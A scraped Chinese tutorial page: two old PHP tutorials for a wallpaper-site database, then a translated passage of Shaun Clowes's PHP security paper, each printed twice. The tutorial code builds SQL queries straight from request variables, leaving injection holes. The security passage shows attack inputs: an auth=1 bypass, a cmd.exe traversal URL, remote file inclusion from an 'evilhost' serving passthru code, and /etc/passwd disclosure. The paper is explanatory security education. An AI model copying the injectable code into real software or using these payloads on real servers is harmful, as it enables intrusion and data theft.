当前位置: 编程技术>php
本页文章导读:
▪桌面中心(二)数据库写入
来源:奥索网 桌面中心(二)数据库写入作者:elong 一、以下是数据库的写入的html程序,你可以加入密码功能。把密码做成变量发入下面那个写入的php程序。这样就实现了密码保护了: <html&.........
▪桌面中心(三)修改数据库
来源:奥索网 桌面中心(三)修改数据库作者:elong 下面这个程序在你输入id后就把那个id的数据列出来。然后你就可以修改后写入了. <html> <body> <h1>数据库的数据更新</h1> <.........
▪如何对PHP程序中的常见漏洞进行攻击(上)
如何对PHP程序中的常见漏洞进行攻击(上) 翻译:analysist(分析家) 来源:http://www.china4lert.org 如何对PHP程序中的常见漏洞进行攻击(上) 原著:Shaun Clowes <http://www.securereality.com.au/> .........
[1]桌面中心(二)数据库写入
来源: 互联网 发布时间: 2013-11-30
来源:奥索网
桌面中心(二)数据库写入
作者:elong
一、以下是数据库的写入的html程序,你可以加入密码功能。把密码做成变量发入下面那个写入的php程序。这样就实现了密码保护了:
<html>
<head>
<title>数据库</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<style type="text/css">
<!--
.p9 { font-size: 9pt}
-->
</style>
</head>
<body bgcolor="#FFFFFF">
<div align="center">
<p >数据库管理程序
<a href="/blog_article/mysql.html">查看数据库资料 </a></p>
<p ><a href="/blog_article/ww.html">改资料</a>
</p>
<form method="post" action="/blog_article/wsql.html">
<p align="left"><span >图片url地址
<input type="text" name="url" size="100">
图片小图
<input type="text" name="mess" size="100">
说明
<input type="text" name="fromx" size="100">
</span></p>
<p align="left"><span >图片url地址1
<input type="text" name="url1" size="100">
图片小图1
<input type="text" name="mess1" size="100">
说明1
<input type="text" name="fromx1" size="100">
</span></p>
<p align="left"><span >图片url地址2
<input type="text" name="url2" size="100">
图片小图2
<input type="text" name="mess2" size="100">
说明2
<input type="text" name="fromx2" size="100">
</span></p>
<p align="left" ><span >图片url地址3
<input type="text" name="url3" size="100">
图片小图3
<input type="text" name="mess3" size="100">
说明3
<input type="text" name="fromx3" size="100">
</span>
平分秋色水彩画
<input type="radio" name="jpg" value="jpg" checked>
明星写真
<input type="radio" name="jpg" value="jpg1">
动漫桌布
<input type="radio" name="jpg" value="jpg2">
广告创意
<input type="radio" name="jpg" value="jpg3">
其它类
<input type="radio" name="jpg" value="jpg4">
<input type="submit" name="Submit" value="提交">
</p>
</form>
</div>
</body>
</html>
二、然后是处理这个提交的php程序:
<html>
<head><title>查找</title>
</head>
<body>
<h1>数据库的数据</h1>
<?
mysql_connect("localhost","用户名","密码") or die("无法联接数据库!");
$query="insert into $jpg values ('$id','$url','$mess','$fromx','$url1','$mess1','$fromx1','$url2','$mess2','$fromx2','$url3','$mess3','$fromx3')" ;
$result=mysql_db_query("elong",$query); //执行写入
if (mysql_affected_rows()==1)
{
echo "数据已加放数据库 $jpg 中
";
echo "<table>n
<tr>n
<td>ID<td>$id</tr>n
<tr>n
<td>url地址<td>$url</tr>n
<tr>n
<td>小图<td>$mess</tr>n
<tr>n
<td>说明<td>$fromx</tr>n
<tr>n
<td>url地址1<td>$url1</tr>n
<tr>n
<td>小图1<td>$mess1</tr>n
<tr>n
<td>说明1<td>$fromx1</tr>n
<tr>n
<td>url地址2<td>$url2</tr>n
<tr>n
<td>小图2<td>$mess2</tr>n
<tr>n
<td>说明2<td>$fromx2</tr>n
<tr>n
<td>url地址3<td>$url3</tr>n
<tr>n
<td>小图3<td>$mess3</tr>n
<tr>n
<td>说明3<td>$fromx3</tr>n
</table>n";
}
else echo "系统出了问题,请重试!:(";
mysql_close();
?>
<a href='/blog_article/set.htm'>回到首页</a>
</body>
</html>
桌面中心(二)数据库写入
作者:elong
一、以下是数据库的写入的html程序,你可以加入密码功能。把密码做成变量发入下面那个写入的php程序。这样就实现了密码保护了:
<html>
<head>
<title>数据库</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<style type="text/css">
<!--
.p9 { font-size: 9pt}
-->
</style>
</head>
<body bgcolor="#FFFFFF">
<div align="center">
<p >数据库管理程序
<a href="/blog_article/mysql.html">查看数据库资料 </a></p>
<p ><a href="/blog_article/ww.html">改资料</a>
</p>
<form method="post" action="/blog_article/wsql.html">
<p align="left"><span >图片url地址
<input type="text" name="url" size="100">
图片小图
<input type="text" name="mess" size="100">
说明
<input type="text" name="fromx" size="100">
</span></p>
<p align="left"><span >图片url地址1
<input type="text" name="url1" size="100">
图片小图1
<input type="text" name="mess1" size="100">
说明1
<input type="text" name="fromx1" size="100">
</span></p>
<p align="left"><span >图片url地址2
<input type="text" name="url2" size="100">
图片小图2
<input type="text" name="mess2" size="100">
说明2
<input type="text" name="fromx2" size="100">
</span></p>
<p align="left" ><span >图片url地址3
<input type="text" name="url3" size="100">
图片小图3
<input type="text" name="mess3" size="100">
说明3
<input type="text" name="fromx3" size="100">
</span>
平分秋色水彩画
<input type="radio" name="jpg" value="jpg" checked>
明星写真
<input type="radio" name="jpg" value="jpg1">
动漫桌布
<input type="radio" name="jpg" value="jpg2">
广告创意
<input type="radio" name="jpg" value="jpg3">
其它类
<input type="radio" name="jpg" value="jpg4">
<input type="submit" name="Submit" value="提交">
</p>
</form>
</div>
</body>
</html>
二、然后是处理这个提交的php程序:
<html>
<head><title>查找</title>
</head>
<body>
<h1>数据库的数据</h1>
<?
mysql_connect("localhost","用户名","密码") or die("无法联接数据库!");
$query="insert into $jpg values ('$id','$url','$mess','$fromx','$url1','$mess1','$fromx1','$url2','$mess2','$fromx2','$url3','$mess3','$fromx3')" ;
$result=mysql_db_query("elong",$query); //执行写入
if (mysql_affected_rows()==1)
{
echo "数据已加放数据库 $jpg 中
";
echo "<table>n
<tr>n
<td>ID<td>$id</tr>n
<tr>n
<td>url地址<td>$url</tr>n
<tr>n
<td>小图<td>$mess</tr>n
<tr>n
<td>说明<td>$fromx</tr>n
<tr>n
<td>url地址1<td>$url1</tr>n
<tr>n
<td>小图1<td>$mess1</tr>n
<tr>n
<td>说明1<td>$fromx1</tr>n
<tr>n
<td>url地址2<td>$url2</tr>n
<tr>n
<td>小图2<td>$mess2</tr>n
<tr>n
<td>说明2<td>$fromx2</tr>n
<tr>n
<td>url地址3<td>$url3</tr>n
<tr>n
<td>小图3<td>$mess3</tr>n
<tr>n
<td>说明3<td>$fromx3</tr>n
</table>n";
}
else echo "系统出了问题,请重试!:(";
mysql_close();
?>
<a href='/blog_article/set.htm'>回到首页</a>
</body>
</html>
[2]桌面中心(三)修改数据库
来源: 互联网 发布时间: 2013-11-30
来源:奥索网
桌面中心(三)修改数据库
作者:elong
下面这个程序在你输入id后就把那个id的数据列出来。然后你就可以修改后写入了.
<html>
<body>
<h1>数据库的数据更新</h1>
<?
if(isset($id))
{
if(!mysql_connect("localhost","用户名","密码"))
{echo"无法联接数据库";
exit();
}
if(isset($url))
{
$query="update $jpg set id='$id',url='$url',mess='$mess',
fromx='$fromx',url1='$url1',mess1='$mess1',fromx1='$fromx1',url2='$url2',
mess2='$mess2',fromx2='$fromx2',url3='$url3',mess3='$mess3',fromx3='$fromx3'
where id='$id'" ;
$result=mysql_db_query("elong",$query); //执行写入
if (!$result)
{echo "发生错误!";
exit();
}
echo "$id 已经更新!
";
echo "<table>n
<tr>n
<td>ID<td>$id</tr>n
<tr>n
<td>url地址<td>$url</tr>n
<tr>n
<td>小图<td>$mess</tr>n
<tr>n
<td>说明<td>$fromx</tr>n
<tr>n
<td>url地址1<td>$url1</tr>n
<tr>n
<td>小图1<td>$mess1</tr>n
<tr>n
<td>说明1<td>$fromx1</tr>n
<tr>n
<td>url地址2<td>$url2</tr>n
<tr>n
<td>小图2<td>$mess2</tr>n
<tr>n
<td>说明2<td>$fromx2</tr>n
<tr>n
<td>url地址3<td>$url3</tr>n
<tr>n
<td>小图3<td>$mess3</tr>n
<tr>n
<td>说明3<td>$fromx3</tr>n
</table>n";
echo "<a href='/blog_article/set.htm'>回到首页</a>";
exit();
}
$query="SELECT id,url,mess,fromx,url1,mess1,fromx1,url2,mess2,fromx2,url3,mess3,fromx3 from $jpg
where id='$id'" ;
$result=mysql_db_query("elong",$query);
if (!$result)
{echo "发生错误!";
exit();
}
$r=mysql_fetch_array($result);
$id = $r["id"];
$url = $r["url"];
$mess = $r["mess"];
$fromx = $r["fromx"];
$url1 = $r["url1"];
$mess1 = $r["mess1"];
$fromx1 = $r["fromx1"];
$url2 = $r["url2"];
$mess2 = $r["mess2"];
$fromx2 = $r["fromx2"];
$url3 = $r["url3"];
$mess3 = $r["mess3"];
$fromx3 = $r["fromx3"];
echo"
<form action='/blog_article/ww.html' method='post'>n
<table>n
<tr>n
<td>ID:<td> <input type=text name='id' value='$id'></tr>n
<tr>n
<td>类形:<td> <input type=text name='jpg' value='$jpg'></tr>n
<tr>n
<td>图片url地址:<td> <input type=text name='url' size='100' value='$url'></tr>n
<tr>n
<td>说明:<td> <input type=text name='mess' size='100' value='$mess'></tr>n
<tr>n
<td>来自:<td> <input type=text name='fromx' size='100' value='$fromx'></tr>n
<tr>n
<td>图片url地址:<td> <input type=text name='url1' size='100' value='$url1'></tr>n
<tr>n
<td>说明:<td> <input type=text name='mess1' size='100' value='$mess1'></tr>n
<tr>n
<td>来自:<td> <input type=text name='fromx1' size='100' value='$fromx1'></tr>n
<tr>n
<td>图片url地址:<td> <input type=text name='url2' size='100' value='$url2'></tr>n
<tr>n
<td>说明:<td> <input type=text name='mess2' size='100' value='$mess2'></tr>n
<tr>n
<td>来自:<td> <input type=text name='fromx2' size='100' value='$fromx2'></tr>n
<tr>n
<td>图片url地址:<td> <input type=text name='url3' size='100' value='$url3'></tr>n
<tr>n
<td>说明:<td> <input type=text name='mess3' size='100' value='$mess3'></tr>n
<tr>n
<td>来自:<td> <input type=text name='fromx3' size='100' value='$fromx3'></tr>n
</table>n
<input type=submit value='更新'>n
</form>n";
}
else
{?>
<h3>请输放需要更改的id:</h3>
<center><form action='/blog_article/ww.html' method='post'>
动漫桌布
<input type="radio" name="jpg" value="jpg" checked>
平分秋色水彩画
<input type="radio" name="jpg" value="jpg1">
明星写真
<input type="radio" name="jpg" value="jpg2">
广告创意
<input type="radio" name="jpg" value="jpg3">
其它类
<input type="radio" name="jpg" value="jpg4">
<input type=text name='id'>
<input type=submit value='查询'>
</form></center>
<?}?>
</body>
</html>
桌面中心(三)修改数据库
作者:elong
下面这个程序在你输入id后就把那个id的数据列出来。然后你就可以修改后写入了.
<html>
<body>
<h1>数据库的数据更新</h1>
<?
if(isset($id))
{
if(!mysql_connect("localhost","用户名","密码"))
{echo"无法联接数据库";
exit();
}
if(isset($url))
{
$query="update $jpg set id='$id',url='$url',mess='$mess',
fromx='$fromx',url1='$url1',mess1='$mess1',fromx1='$fromx1',url2='$url2',
mess2='$mess2',fromx2='$fromx2',url3='$url3',mess3='$mess3',fromx3='$fromx3'
where id='$id'" ;
$result=mysql_db_query("elong",$query); //执行写入
if (!$result)
{echo "发生错误!";
exit();
}
echo "$id 已经更新!
";
echo "<table>n
<tr>n
<td>ID<td>$id</tr>n
<tr>n
<td>url地址<td>$url</tr>n
<tr>n
<td>小图<td>$mess</tr>n
<tr>n
<td>说明<td>$fromx</tr>n
<tr>n
<td>url地址1<td>$url1</tr>n
<tr>n
<td>小图1<td>$mess1</tr>n
<tr>n
<td>说明1<td>$fromx1</tr>n
<tr>n
<td>url地址2<td>$url2</tr>n
<tr>n
<td>小图2<td>$mess2</tr>n
<tr>n
<td>说明2<td>$fromx2</tr>n
<tr>n
<td>url地址3<td>$url3</tr>n
<tr>n
<td>小图3<td>$mess3</tr>n
<tr>n
<td>说明3<td>$fromx3</tr>n
</table>n";
echo "<a href='/blog_article/set.htm'>回到首页</a>";
exit();
}
$query="SELECT id,url,mess,fromx,url1,mess1,fromx1,url2,mess2,fromx2,url3,mess3,fromx3 from $jpg
where id='$id'" ;
$result=mysql_db_query("elong",$query);
if (!$result)
{echo "发生错误!";
exit();
}
$r=mysql_fetch_array($result);
$id = $r["id"];
$url = $r["url"];
$mess = $r["mess"];
$fromx = $r["fromx"];
$url1 = $r["url1"];
$mess1 = $r["mess1"];
$fromx1 = $r["fromx1"];
$url2 = $r["url2"];
$mess2 = $r["mess2"];
$fromx2 = $r["fromx2"];
$url3 = $r["url3"];
$mess3 = $r["mess3"];
$fromx3 = $r["fromx3"];
echo"
<form action='/blog_article/ww.html' method='post'>n
<table>n
<tr>n
<td>ID:<td> <input type=text name='id' value='$id'></tr>n
<tr>n
<td>类形:<td> <input type=text name='jpg' value='$jpg'></tr>n
<tr>n
<td>图片url地址:<td> <input type=text name='url' size='100' value='$url'></tr>n
<tr>n
<td>说明:<td> <input type=text name='mess' size='100' value='$mess'></tr>n
<tr>n
<td>来自:<td> <input type=text name='fromx' size='100' value='$fromx'></tr>n
<tr>n
<td>图片url地址:<td> <input type=text name='url1' size='100' value='$url1'></tr>n
<tr>n
<td>说明:<td> <input type=text name='mess1' size='100' value='$mess1'></tr>n
<tr>n
<td>来自:<td> <input type=text name='fromx1' size='100' value='$fromx1'></tr>n
<tr>n
<td>图片url地址:<td> <input type=text name='url2' size='100' value='$url2'></tr>n
<tr>n
<td>说明:<td> <input type=text name='mess2' size='100' value='$mess2'></tr>n
<tr>n
<td>来自:<td> <input type=text name='fromx2' size='100' value='$fromx2'></tr>n
<tr>n
<td>图片url地址:<td> <input type=text name='url3' size='100' value='$url3'></tr>n
<tr>n
<td>说明:<td> <input type=text name='mess3' size='100' value='$mess3'></tr>n
<tr>n
<td>来自:<td> <input type=text name='fromx3' size='100' value='$fromx3'></tr>n
</table>n
<input type=submit value='更新'>n
</form>n";
}
else
{?>
<h3>请输放需要更改的id:</h3>
<center><form action='/blog_article/ww.html' method='post'>
动漫桌布
<input type="radio" name="jpg" value="jpg" checked>
平分秋色水彩画
<input type="radio" name="jpg" value="jpg1">
明星写真
<input type="radio" name="jpg" value="jpg2">
广告创意
<input type="radio" name="jpg" value="jpg3">
其它类
<input type="radio" name="jpg" value="jpg4">
<input type=text name='id'>
<input type=submit value='查询'>
</form></center>
<?}?>
</body>
</html>
[3]如何对PHP程序中的常见漏洞进行攻击(上)
来源: 互联网 发布时间: 2013-11-30
如何对PHP程序中的常见漏洞进行攻击(上)
翻译:analysist(分析家)
来源:http://www.china4lert.org
如何对PHP程序中的常见漏洞进行攻击(上)
原著:Shaun Clowes <http://www.securereality.com.au/>
翻译:analysist <http://www.nsfocus.com/>
之所以翻译这篇文章,是因为目前关于CGI安全性的文章都是拿Perl作为例子,而专门介绍ASP,PHP或者JSP安全性的文章则很少。Shaun Clowes的这篇文章比较全面地介绍了PHP的安全问题,原文可以在http://www.securereality.com.au/studyinscarlet.txt找到。
由于原文比较长,而且有相当一部分是介绍文章的背景或PHP的基础知识,没有涉及到PHP安全方面的内容,因此我没有翻译。如果你想了解这方面的知识,请参考原文。
文章主要从全局变量,远程文件,文件上载,库文件,Session文件,数据类型和容易出错的函数这几个方面分析了PHP的安全性,并且对如何增强PHP的安全性提出了一些有用的建议。
好了,废话少说,我们言归正传!
[全局变量]
PHP中的变量不需要事先声明,它们会在第一次使用时自动创建,它们的类型也不需要指定,它们会根据上下文环境自动确定。从程序员的角度来看,这无疑是一种极其方便的处理方法。很显然,这也是快速开发语言的一个很有用的特点。一旦一个变量被创建了,就可以在程序中的任何地方使用。这个特点导致的结果就是程序员很少初始化变量,毕竟,当它们第一次创建时,他们是空的。
很显然,基于PHP的应用程序的主函数一般都是接受用户的输入(主要是表单变量,上载文件和Cookie等),然后对输入数据进行处理,然后把结果返回到客户端浏览器。为了使PHP代码访问用户的输入尽可能容易,实际上PHP是把这些输入数据看作全局变量来处理的。
例如:
<FORM METHOD="GET" ACTION="/blog_article/test.html">
<INPUT TYPE="TEXT" NAME="hello">
<INPUT TYPE="SUBMIT">
</FORM>
很显然,这会显示一个文本框和提交按钮。当用户点击提交按钮时,“test.php”会处理用户的输入,当“test.php”运行时,“$hello”会包含用户在文本框输入的数据。从这里我们应该看出,攻击者可以按照自己的意愿创建任意的全局变量。如果攻击者不是通过表单输入来调用“test.php”,而是直接在浏览器地址栏输入http://server/test.php?hello=hi&setup=no,那么,不止是“$hello”被创建,“$setup”也被创建了。
译者注:这两种方法也就是我们通常说的“POST”和“GET”方法。
下面的用户认证代码暴露了PHP的全局变量所导致的安全问题:
<?php
if ($pass == "hello")
$auth = 1;
...
if ($auth == 1)
echo "some important information";
?>
上面的代码首先检查用户的密码是否为“hello”,如果匹配的话,设置“$auth”为“1”,即通过认证。之后如果“$suth”为“1”的话,就会显示一些重要信息。
表面看起来是正确的,而且我们中有相当一部分人是这样做的,但是这段代码犯了想当然的错误,它假定“$auth”在没有设置值的时候是空的,却没有想到攻击者可以创建任何全局变量并赋值,通过类似“http://server/test.php?auth=1”的方法,我们完全可以欺骗这段代码,使它相信我们是已经认证过的。
因此,为了提高PHP程序的安全性,我们不能相信任何没有明确定义的变量。如果程序中的变量很多的话,这可是一项非常艰巨的任务。
一种常用的保护方式就是检查数组HTTP_GET[]或POST_VARS[]中的变量,这依赖于我们的提交方式(GET或POST)。当PHP配置为打开“track_vars”选项的话(这是缺省值),用户提交的变量就可以在全局变量和上面提到的数组中获得。
但是值得说明的是,PHP有四个不同的数组变量用来处理用户的输入。HTTP_GET_VARS数组用来处理GET方式提交的变量,HTTP_POST_VARS数组用于处理POST方式提交的变量,HTTP_COOKIE_VARS数组用于处理作为cookie头提交的变量,而对于HTTP_POST_FILES数组(比较新的PHP才提供),则完全是用户用来提交变量的一种可选方式。用户的一个请求可以很容易的把变量存在这四个数组中,因此一个安全的PHP程序应该检查这四个数组。
[远程文件]
PHP是一种具有丰富特性的语言,提供了大量的函数,使编程者实现某个功能很容易。但是从安全的角度来看,功能越多,要保证它的安全性就越难,远程文件就是说明这个问题的一个很好的例子:
<?php
if (!($fd = fopen("$filename", "r"))
echo("Could not open file: $filename<BR>\n");
?>
上面的脚本试图打开文件“$filename”,如果失败就显示错误信息。很明显,如果我们能够指定“$filename”的话,就能利用这个脚本浏览系统中的任何文件。但是,这个脚本还存在一个不太明显的特性,那就是它可以从任何其它WEB或FTP站点读取文件。实际上,PHP的大多数文件处理函数对远程文件的处理是透明的。
例如:
如果指定“$filename”为“http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir”
则上面的代码实际上是利用主机target上的unicode漏洞,执行了dir命令。
这使得支持远程文件的include(),require(),include_once()和require_once()在上下文环境中变得更有趣。这些函数主要功能是包含指定文件的内容,并且把它们按照PHP代码解释,主要是用在库文件上。
例如:
<?php
include($libdir . "/languages.php");
?>
上例中“$libdir”一般是一个在执行代码前已经设置好的路径,如果攻击者能够使得“$libdir”没有被设置的话,那么他就可以改变这个路径。但是攻击者并不能做任何事情,因为他们只能在他们指定的路径中访问文件languages.php(perl中的“Poison null byte”攻击对PHP没有作用)。但是由于有了对远程文件的支持,攻击者就可以做任何事情。例如,攻击者可以在某台服务器上放一个文件languages.php,包含如下内容:
<?php
passthru("/bin/ls /etc");
?>
然后把“$libdir”设置为“http://<evilhost>/”,这样我们就可以在目标主机上执行上面的攻击代码,“/etc”目录的内容作为结果返回到客户的浏览器中。
需要注意的是,攻击服务器(也就是evilhost)应该不能执行PHP代码,否则攻击代码会在攻击服务器,而不是目标服务器执行,如果你想了解具体的技术细节,请参考:http://www.securereality.com.au/sradv00006.txt
[文件上载]
PHP自动支持基于RFC 1867的文件上载,我们看下面的例子:
<FORM METHOD="POST" ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE" NAME="hello">
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">
<INPUT TYPE="SUBMIT">
</FORM>
上面的代码让用户从本地机器选择一个文件,当点击提交后,文件就会被上载到服务器。这显然是很有用的功能,但是PHP的响应方式使这项功能变的不安全。当PHP第一次接到这种请求,甚至在它开始解析被调用的PHP代码之前,它会先接受远程用户的文件,检查文件的长度是否超过“$MAX_FILE_SIZE variable”定义的值,如果通过这些测试的话,文件就会被存在本地的一个临时目录中。
因此,攻击者可以发送任意文件给运行PHP的主机,在PHP程序还没有决定是否接受文件上载时,文件已经被存在服务器上了。
这里我就不讨论利用文件上载来对服务器进行DOS攻击的可能性了。
让我们考虑一下处理文件上载的PHP程序,正如我们上面说的,文件被接收并且存在服务器上(位置是在配置文件中指定的,一般是/tmp),扩展名一般是随机的,类似“phpxXuoXG”的形式。PHP程序需要上载文件的信息以便处理它,这可以通过两种方式,一种方式是在PHP 3中已经使用的,另一种是在我们对以前的方法提出安全公告后引入的。
但是,我们可以肯定的说,问题还是存在的,大多数PHP程序还是使用老的方式来处理上载文件。PHP设置了四个全局变量来描述上载文件,比如说上面的例子:
$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g "c:\\temp\\hello.txt")
$hello_type = Mime type of uploaded file (e.g "text/plain")
然后PHP程序开始处理根据“$hello”指定的文件,问题在于“$hello”不一定是一个PHP设置的变量,任何远程用户都可以指定它。如果我们使用下面的方式:
http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt
就导致了下面的PHP全局变量(当然POST方式也可以(甚至是Cookie)):
$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"
上面的表单数据正好满足了PHP程序所期望的变量,但是这时PHP程序不再处理上载的文件,而是处理“/etc/passwd”(通常会导致内容暴露)。这种攻击可以用于暴露任何敏感文件的内容。
我在前面已经说了,新版本的PHP使用HTTP_POST_FILES[]来决定上载文件,同时也提供了很多函数来解决这个问题,例如有一个函数用来判断某个文件是不是实际上载的文件。这些函数很好的解决了这个问题,但是实际上肯定有很多PHP程序仍然使用旧的方法,很容易受到这种攻击。
作为文件上载的攻击方法的一个变种,我们看一下下面的一段代码:
<?php
if (file_exists($theme)) // Checks the file exists on the local system (no remote files)
include("$theme");
?>
如果攻击者可以控制“$theme”的话,很显然它可以利用“$theme”来读取远程系统上的任何文件。攻击者的最终目标是在远程服务器上执行任意指令,但是他无法使用远程文件,因此,他必须得在远程服务器上创建一个PHP文件。这乍看起来好象是不可能的,但是文件上载帮了我们这个忙,如果攻击者先在本地机器上创建一个包含PHP代码的文件,然后创建一个包含名为“theme”的文件域的表单,最后用这个表单通过文件上载把创建的包含PHP代码的文件提交给上面的代码,PHP就会把攻击者提交的文件保存起来,并把“$theme”的值设置为攻击者提交的文件,这样file_exists()函数会检查通过,攻击者的代码也将执行。
获得执行任意指令的能力之后,攻击者显然想提升权限或者是扩大战果,而这又需要一些服务器上没有的工具集,而文件上载又一次帮了我们这个忙。攻击者可以使用文件上载功能上载工具,把她们存在服务器上,然后利用他们执行指令的能力,使用chmod()改变文件的权限,然后执行。例如:攻击者可以绕过防火墙或IDS上载一个本地root攻击程序,然后执行,这样就获得了root权限。
<未完待续>
翻译:analysist(分析家)
来源:http://www.china4lert.org
如何对PHP程序中的常见漏洞进行攻击(上)
原著:Shaun Clowes <http://www.securereality.com.au/>
翻译:analysist <http://www.nsfocus.com/>
之所以翻译这篇文章,是因为目前关于CGI安全性的文章都是拿Perl作为例子,而专门介绍ASP,PHP或者JSP安全性的文章则很少。Shaun Clowes的这篇文章比较全面地介绍了PHP的安全问题,原文可以在http://www.securereality.com.au/studyinscarlet.txt找到。
由于原文比较长,而且有相当一部分是介绍文章的背景或PHP的基础知识,没有涉及到PHP安全方面的内容,因此我没有翻译。如果你想了解这方面的知识,请参考原文。
文章主要从全局变量,远程文件,文件上载,库文件,Session文件,数据类型和容易出错的函数这几个方面分析了PHP的安全性,并且对如何增强PHP的安全性提出了一些有用的建议。
好了,废话少说,我们言归正传!
[全局变量]
PHP中的变量不需要事先声明,它们会在第一次使用时自动创建,它们的类型也不需要指定,它们会根据上下文环境自动确定。从程序员的角度来看,这无疑是一种极其方便的处理方法。很显然,这也是快速开发语言的一个很有用的特点。一旦一个变量被创建了,就可以在程序中的任何地方使用。这个特点导致的结果就是程序员很少初始化变量,毕竟,当它们第一次创建时,他们是空的。
很显然,基于PHP的应用程序的主函数一般都是接受用户的输入(主要是表单变量,上载文件和Cookie等),然后对输入数据进行处理,然后把结果返回到客户端浏览器。为了使PHP代码访问用户的输入尽可能容易,实际上PHP是把这些输入数据看作全局变量来处理的。
例如:
<FORM METHOD="GET" ACTION="/blog_article/test.html">
<INPUT TYPE="TEXT" NAME="hello">
<INPUT TYPE="SUBMIT">
</FORM>
很显然,这会显示一个文本框和提交按钮。当用户点击提交按钮时,“test.php”会处理用户的输入,当“test.php”运行时,“$hello”会包含用户在文本框输入的数据。从这里我们应该看出,攻击者可以按照自己的意愿创建任意的全局变量。如果攻击者不是通过表单输入来调用“test.php”,而是直接在浏览器地址栏输入http://server/test.php?hello=hi&setup=no,那么,不止是“$hello”被创建,“$setup”也被创建了。
译者注:这两种方法也就是我们通常说的“POST”和“GET”方法。
下面的用户认证代码暴露了PHP的全局变量所导致的安全问题:
<?php
if ($pass == "hello")
$auth = 1;
...
if ($auth == 1)
echo "some important information";
?>
上面的代码首先检查用户的密码是否为“hello”,如果匹配的话,设置“$auth”为“1”,即通过认证。之后如果“$suth”为“1”的话,就会显示一些重要信息。
表面看起来是正确的,而且我们中有相当一部分人是这样做的,但是这段代码犯了想当然的错误,它假定“$auth”在没有设置值的时候是空的,却没有想到攻击者可以创建任何全局变量并赋值,通过类似“http://server/test.php?auth=1”的方法,我们完全可以欺骗这段代码,使它相信我们是已经认证过的。
因此,为了提高PHP程序的安全性,我们不能相信任何没有明确定义的变量。如果程序中的变量很多的话,这可是一项非常艰巨的任务。
一种常用的保护方式就是检查数组HTTP_GET[]或POST_VARS[]中的变量,这依赖于我们的提交方式(GET或POST)。当PHP配置为打开“track_vars”选项的话(这是缺省值),用户提交的变量就可以在全局变量和上面提到的数组中获得。
但是值得说明的是,PHP有四个不同的数组变量用来处理用户的输入。HTTP_GET_VARS数组用来处理GET方式提交的变量,HTTP_POST_VARS数组用于处理POST方式提交的变量,HTTP_COOKIE_VARS数组用于处理作为cookie头提交的变量,而对于HTTP_POST_FILES数组(比较新的PHP才提供),则完全是用户用来提交变量的一种可选方式。用户的一个请求可以很容易的把变量存在这四个数组中,因此一个安全的PHP程序应该检查这四个数组。
[远程文件]
PHP是一种具有丰富特性的语言,提供了大量的函数,使编程者实现某个功能很容易。但是从安全的角度来看,功能越多,要保证它的安全性就越难,远程文件就是说明这个问题的一个很好的例子:
<?php
if (!($fd = fopen("$filename", "r"))
echo("Could not open file: $filename<BR>\n");
?>
上面的脚本试图打开文件“$filename”,如果失败就显示错误信息。很明显,如果我们能够指定“$filename”的话,就能利用这个脚本浏览系统中的任何文件。但是,这个脚本还存在一个不太明显的特性,那就是它可以从任何其它WEB或FTP站点读取文件。实际上,PHP的大多数文件处理函数对远程文件的处理是透明的。
例如:
如果指定“$filename”为“http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir”
则上面的代码实际上是利用主机target上的unicode漏洞,执行了dir命令。
这使得支持远程文件的include(),require(),include_once()和require_once()在上下文环境中变得更有趣。这些函数主要功能是包含指定文件的内容,并且把它们按照PHP代码解释,主要是用在库文件上。
例如:
<?php
include($libdir . "/languages.php");
?>
上例中“$libdir”一般是一个在执行代码前已经设置好的路径,如果攻击者能够使得“$libdir”没有被设置的话,那么他就可以改变这个路径。但是攻击者并不能做任何事情,因为他们只能在他们指定的路径中访问文件languages.php(perl中的“Poison null byte”攻击对PHP没有作用)。但是由于有了对远程文件的支持,攻击者就可以做任何事情。例如,攻击者可以在某台服务器上放一个文件languages.php,包含如下内容:
<?php
passthru("/bin/ls /etc");
?>
然后把“$libdir”设置为“http://<evilhost>/”,这样我们就可以在目标主机上执行上面的攻击代码,“/etc”目录的内容作为结果返回到客户的浏览器中。
需要注意的是,攻击服务器(也就是evilhost)应该不能执行PHP代码,否则攻击代码会在攻击服务器,而不是目标服务器执行,如果你想了解具体的技术细节,请参考:http://www.securereality.com.au/sradv00006.txt
[文件上载]
PHP自动支持基于RFC 1867的文件上载,我们看下面的例子:
<FORM METHOD="POST" ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE" NAME="hello">
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">
<INPUT TYPE="SUBMIT">
</FORM>
上面的代码让用户从本地机器选择一个文件,当点击提交后,文件就会被上载到服务器。这显然是很有用的功能,但是PHP的响应方式使这项功能变的不安全。当PHP第一次接到这种请求,甚至在它开始解析被调用的PHP代码之前,它会先接受远程用户的文件,检查文件的长度是否超过“$MAX_FILE_SIZE variable”定义的值,如果通过这些测试的话,文件就会被存在本地的一个临时目录中。
因此,攻击者可以发送任意文件给运行PHP的主机,在PHP程序还没有决定是否接受文件上载时,文件已经被存在服务器上了。
这里我就不讨论利用文件上载来对服务器进行DOS攻击的可能性了。
让我们考虑一下处理文件上载的PHP程序,正如我们上面说的,文件被接收并且存在服务器上(位置是在配置文件中指定的,一般是/tmp),扩展名一般是随机的,类似“phpxXuoXG”的形式。PHP程序需要上载文件的信息以便处理它,这可以通过两种方式,一种方式是在PHP 3中已经使用的,另一种是在我们对以前的方法提出安全公告后引入的。
但是,我们可以肯定的说,问题还是存在的,大多数PHP程序还是使用老的方式来处理上载文件。PHP设置了四个全局变量来描述上载文件,比如说上面的例子:
$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g "c:\\temp\\hello.txt")
$hello_type = Mime type of uploaded file (e.g "text/plain")
然后PHP程序开始处理根据“$hello”指定的文件,问题在于“$hello”不一定是一个PHP设置的变量,任何远程用户都可以指定它。如果我们使用下面的方式:
